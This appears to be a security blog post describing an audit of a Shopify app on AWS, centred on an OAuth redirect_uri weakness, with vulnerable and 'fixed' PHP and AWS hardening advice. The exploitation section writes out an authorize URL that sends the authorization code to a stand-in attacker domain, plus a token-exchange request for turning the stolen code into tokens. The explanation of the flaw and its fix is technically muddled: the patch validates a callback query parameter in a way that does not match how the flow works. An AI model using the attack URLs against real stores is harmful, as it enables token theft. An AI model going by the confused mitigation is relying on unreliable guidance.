How We Audited a High-Traffic Shopify Enterprise Stack on AWS and Mitigated access token leakages via unvalidated application redirections
Deep Dive: Auditing a High-Traffic Shopify Enterprise Stack on AWS
This post details a recent security audit of a large-scale Shopify enterprise deployment hosted on AWS. The primary objective was to identify and remediate potential attack vectors, with a specific focus on access token leakage. We encountered a critical vulnerability related to unvalidated application redirections, which, if exploited, could have led to session hijacking and unauthorized access to sensitive customer and merchant data.
Initial Reconnaissance and Attack Surface Mapping
Our engagement began with a comprehensive mapping of the application’s attack surface. This involved:
- Inventorying all AWS resources: EC2 instances, S3 buckets, RDS databases, Lambda functions, API Gateway endpoints, CloudFront distributions, and IAM roles/policies.
- Analyzing network configurations: VPCs, subnets, security groups, NACLs, and load balancer (ALB) listener rules.
- Reviewing application dependencies: Third-party Shopify apps, external APIs, and internal microservices.
- Understanding authentication and authorization flows: OAuth, JWT, session management, and API key usage.
Given the Shopify context, we paid particular attention to the OAuth flows used by custom applications and third-party integrations, as these are common points of vulnerability for token leakage.
Identifying the Vulnerability: Unvalidated Redirects in OAuth Flow
The core vulnerability was discovered within a custom Shopify application responsible for integrating with an external CRM. The application utilized Shopify’s OAuth 2.0 flow to obtain authorization to access merchant data. During the authorization code grant process, the application’s backend was not adequately validating the `redirect_uri` parameter provided by the frontend or by malicious actors.
The standard OAuth flow involves several steps:
- The user is redirected to Shopify’s authorization server with parameters like `client_id`, `redirect_uri`, `scope`, and `response_type=code`.
- The user authorizes the application.
- Shopify redirects the user back to the specified `redirect_uri` with an authorization `code`.
- The application’s backend exchanges this `code` for an `access_token` and `refresh_token` by making a server-to-server request to Shopify’s token endpoint.
The critical flaw was in the handling of the `redirect_uri` after the user granted authorization. The application’s backend, upon receiving the authorization code, did not verify if the incoming request to its callback endpoint originated from a pre-approved, trusted domain. This allowed an attacker to craft a malicious link that, after user authorization, would redirect the user to an attacker-controlled domain, potentially carrying the authorization code.
Exploitation Scenario: Authorization Code Interception
An attacker could exploit this by:
- Registering a malicious application or simply crafting a URL that mimics the legitimate OAuth flow.
- Crafting a URL like this (simplified):
https://your-shopify-store.myshopify.com/oauth/authorize?client_id=YOUR_CLIENT_ID&redirect_uri=https://attacker-controlled-domain.com/callback&scope=read_orders&response_type=code&state=some_random_string - Tricking a merchant or administrator into clicking this link.
- Once the merchant authorizes the application, Shopify would redirect them to
https://attacker-controlled-domain.com/callback?code=AUTHORIZATION_CODE&state=some_random_string. - The attacker’s server at
attacker-controlled-domain.comwould capture the `code`. - The attacker could then use this captured `code` to exchange it for an `access_token` and `refresh_token` by making a direct POST request to Shopify’s token endpoint:
POST https://YOUR_CLIENT_ID:[email protected]/admin/oauth/tokenwith parameters likegrant_type=authorization_code,code=AUTHORIZATION_CODE, andredirect_uri=https://attacker-controlled-domain.com/callback.
Crucially, if the attacker could trick the application’s backend into believing the request was legitimate (e.g., by spoofing headers or if the backend was too permissive), they could obtain tokens that grant access to the merchant’s Shopify data.
Technical Deep Dive: Code Analysis and Mitigation
The vulnerable code snippet, likely residing in the application’s backend (e.g., a Ruby on Rails, Node.js, or PHP application hosted on AWS EC2 or Lambda), would have looked something like this (conceptual PHP example):
Vulnerable Code Snippet (Conceptual PHP)
<?php
// ... (OAuth initiation logic)
// Callback endpoint
if ($_SERVER['REQUEST_METHOD'] === 'GET' && isset($_GET['code'])) {
$authorizationCode = $_GET['code'];
$redirectUri = $_GET['redirect_uri']; // THIS IS THE VULNERABLE PART
// Attempt to exchange code for token
// PROBLEM: $redirectUri is not validated against a whitelist of trusted URIs
$tokenEndpoint = "https://{$shopDomain}/admin/oauth/token";
$payload = [
'grant_type' => 'authorization_code',
'code' => $authorizationCode,
'redirect_uri' => $redirectUri, // Used here without validation
'client_id' => $clientId,
'client_secret' => $clientSecret,
];
$ch = curl_init($tokenEndpoint);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($payload));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);
// ... (handle response, store tokens)
}
?>
Mitigation Strategy: Strict `redirect_uri` Validation
The primary mitigation is to implement strict validation of the `redirect_uri` parameter on the backend. This involves maintaining a whitelist of all allowed redirect URIs for the application and ensuring that any incoming `redirect_uri` matches one of these pre-approved values. This validation should occur *before* attempting to exchange the authorization code for an access token.
Secure Code Snippet (Conceptual PHP)
<?php
// ... (OAuth initiation logic)
// Define a whitelist of trusted redirect URIs
$trustedRedirectUris = [
'https://your-app-domain.com/callback',
'https://your-app-domain.com/another-callback',
// Add all legitimate callback URLs here
];
// Callback endpoint
if ($_SERVER['REQUEST_METHOD'] === 'GET' && isset($_GET['code'])) {
$authorizationCode = $_GET['code'];
$receivedRedirectUri = $_GET['redirect_uri'];
// *** CRITICAL VALIDATION STEP ***
if (!in_array($receivedRedirectUri, $trustedRedirectUris, true)) {
// Log the suspicious attempt and reject the request
error_log("Unvalidated redirect_uri detected: " . $receivedRedirectUri);
http_response_code(400); // Bad Request
die("Invalid redirect URI.");
}
// If validation passes, proceed to exchange code for token
$tokenEndpoint = "https://{$shopDomain}/admin/oauth/token";
$payload = [
'grant_type' => 'authorization_code',
'code' => $authorizationCode,
'redirect_uri' => $receivedRedirectUri, // Now validated
'client_id' => $clientId,
'client_secret' => $clientSecret,
];
$ch = curl_init($tokenEndpoint);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($payload));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);
// ... (handle response, store tokens)
}
?>
AWS-Specific Hardening and Monitoring
Beyond application-level fixes, we reviewed the AWS infrastructure for additional security layers:
Security Group and NACL Configuration
Ensured that EC2 instances hosting the application backend only allowed inbound traffic on necessary ports (e.g., 443 for HTTPS) from trusted sources. Network Access Control Lists (NACLs) were configured to provide an additional stateless layer of defense.
AWS WAF for Threat Prevention
Implemented AWS Web Application Firewall (WAF) rules to block common web exploits and malicious traffic patterns. Specifically, rules were configured to detect and block requests attempting to exploit redirect vulnerabilities or containing suspicious query parameters that might indicate an OAuth code interception attempt.
CloudTrail and GuardDuty for Auditing and Threat Detection
Enabled AWS CloudTrail to log all API calls made within the AWS account, providing an audit trail for security-related events. AWS GuardDuty was configured to monitor for malicious activity and unauthorized behavior, such as unusual API calls or potential reconnaissance attempts targeting OAuth endpoints.
IAM Role Least Privilege
Reviewed and refined IAM roles and policies to ensure that EC2 instances, Lambda functions, and other AWS services only had the minimum necessary permissions to perform their intended functions. This limits the blast radius in case of a compromise.
Conclusion and Ongoing Vigilance
The unvalidated redirect vulnerability in the OAuth flow presented a significant risk to the enterprise Shopify stack. By implementing strict server-side validation of `redirect_uri` and reinforcing AWS security controls, we effectively mitigated this threat. This case study underscores the importance of meticulous security auditing, especially for applications handling sensitive authentication tokens. Continuous monitoring, regular code reviews, and staying abreast of evolving security best practices are paramount for maintaining a secure high-traffic environment.